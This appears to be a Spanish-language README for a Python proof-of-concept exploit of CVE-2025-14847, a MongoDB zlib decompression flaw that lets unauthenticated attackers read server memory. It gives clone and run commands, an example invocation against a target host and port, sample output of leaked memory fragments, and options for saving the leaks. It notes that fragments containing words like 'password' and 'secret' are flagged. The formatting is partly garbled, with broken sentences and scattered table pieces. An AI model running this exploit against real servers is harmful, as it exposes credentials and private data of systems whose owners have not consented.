
CVE-2025-14847 – Exploit de fuga de memoria sin autenticación en MongoDB
Una prueba de concepto (PoC) del exploit para la vulnerabilidad de descompresión zlib de MongoDB que permite a atacantes no autenticados leer memoria sensible del servidor.
La PoC está implementada en Python 3 y demuestra cómo un paquete OP_COMPRESSED malicioso puede desencadenar el bug, provocando que MongoDB devuelva memoria no inicializada como datos BSON.
La vulnerabilidad es causada por un fallo en la descompresión de mensajes zlib de MongoDB:
uncompressedSize.La PoC envía un paquete OP_COMPRESSED manipulado y analiza la respuesta de error del servidor para recuperar fragmentos de datos filtrados.
| Componente | Versión | Notas |
|---|---|---|
| Python | ≥ 3.8 | El script es solo para Python 3 |
| MongoDB | ≥ 4.4 | El objetivo debe ser vulnerable a CVE‑2025‑14847 |
| Opcional |
# Clonar el repositorio (o copiar el script)
git clone https://github.com/lincemorado97/CVE-2025-14847.git
cd cve-2025-14847
# (Opcional) Instalar paquetes Python requeridos
pip install -r requirements.txt
python exploit.py [OPCIONES]
Ejemplo:
python exploit.py --host 10.0.0.5 --port 27017 --min-offset 50 --max-offset 5000 --output leaks.bin
$ python3 exploit.py
11:02:41 CVE-2025-14847 INFO │ [*] Target: localhost:27017
11:02:41 CVE-2025-14847 INFO │ [*] Scanning offsets 20-8192
11:02:41 CVE-2025-14847 INFO │ Offset Hex ASCII
11:02:41 CVE-2025-14847 INFO │ ---------------------------------------------------------------------------
11:02:41 CVE-2025-14847 INFO │ 00000000: 20 6f 62 6a 65 63 74 20 77 69 74 68 20 75 6e 6b | object with unk|
11:02:41 CVE-2025-14847 INFO │ 00000010: 6e 6f 77 6e 20 5f 69 64 |nown _id|
11:02:41 CVE-2025-14847 INFO │ [+] offset= 39 len= 24:
11:02:45 CVE-2025-14847 INFO │ Offset Hex ASCII
11:02:45 CVE-2025-14847 INFO │ ---------------------------------------------------------------------------
11:02:45 CVE-2025-14847 INFO │ 00000000: 73 20 73 6b 69 70 70 65 64 20 64 75 72 69 6e 67 |s skipped during|
11:02:45 CVE-2025-14847 INFO │ 00000010: 20 74 72 65 65 20 77 61 6c 6b | tree walk|
11:02:45 CVE-2025-14847 INFO │ [+] offset=3064 len= 26:
11:02:50 CVE-2025-14847 INFO │ Offset Hex ASCII
....
11:02:50 CVE-2025-14847 INFO │ [+] offset=6663 len= 38:
11:02:52 CVE-2025-14847 SUCCESS │ [*] Total leaked: 496 bytes
11:02:52 CVE-2025-14847 SUCCESS │ [*] Unique fragments: 85
11:02:52 CVE-2025-14847 SUCCESS │ [*] Saved to: leaked.bin
El script registrará cada fragmento interesante (longitud > 10 bytes) y mostrará una vista hexadecimal. Todos los datos filtrados se añaden a leaked.bin.

[+] offset= <doc_len> len= <len> indica dónde se encontró un fragmento.password, secret, etc.) encontrados en los datos filtrados.Esta PoC se proporciona "tal cual" sin ninguna garantía. El autor no es responsable de ningún uso indebido o daño causado por este script. Úselo bajo su propio riesgo.
requirements.txt |
| Incluido en el repositorio |
| Opción | Valor por defecto | Descripción |
|---|
--host | localhost | Host de MongoDB objetivo |
--port | 27017 | Puerto de MongoDB objetivo |
--min-offset | 20 | Longitud mínima de documento a sondear |
--max-offset | 8192 | Longitud máxima de documento a sondear |
--output | leaked.bin | Archivo donde se guardan los datos filtrados |